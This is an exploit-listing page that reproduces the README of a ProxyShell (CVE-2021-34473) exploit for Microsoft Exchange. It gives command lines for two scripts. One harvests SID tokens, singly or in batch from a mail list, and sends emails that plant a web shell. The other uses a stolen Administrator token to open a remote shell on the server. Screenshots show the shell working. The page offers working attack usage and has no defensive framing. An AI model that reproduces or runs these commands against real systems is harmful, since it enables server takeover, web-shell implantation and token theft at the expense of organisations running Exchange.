Sploitus

Exploit for Server-Side Request Forgery in Microsoft

CVE-2021-34473

githubexploit · 2021-11-22

Exploit Code

README21 lines
## https://sploitus.com/exploit?id=0A015784-48D7-5DC1-9FB9-416A9BBEA6D5
- python send_webshell_mail.py https://mail16.echod.com aaa@echod.com   Single retrieval

- python send_webshell_mail.py https://mail16.echod.com crack   Batch retrieval of emails from mail.txt, attempting to obtain SID token

- python send_webshell_mail.py https://mail16.echod.com aaa@echod.com send   Only sending a draft web shell email

- python send_webshell_mail.py https://mail16.echod.com crack send   Batch sending malicious emails (not recommended)

- python wsman_shell.py https://mail.echod.com Administrator@echod.com [Replace with the obtained token]   This command can be used directly after sending an email to attempt getting a shell; the specific path can be adjusted in the script file

- python wsman_shell.py https://mail.echod.com Administrator@echod.com [Replace with the obtained token]   Execute the shell command

##### Test Email Sending
![](https://github.com/je6k/CVE-2021-34473-Exchange-ProxyShell/blob/main/send_mail.png?raw=true)

##### Test Shell Response
![](https://github.com/je6k/CVE-2021-34473-Exchange-ProxyShell/blob/main/getshell.png?raw=true)

##### Crypt_webshell
![](https://github.com/je6k/CVE-2021-34473-Exchange-ProxyShell/blob/main/Crypt_shellcontent.png?raw=true)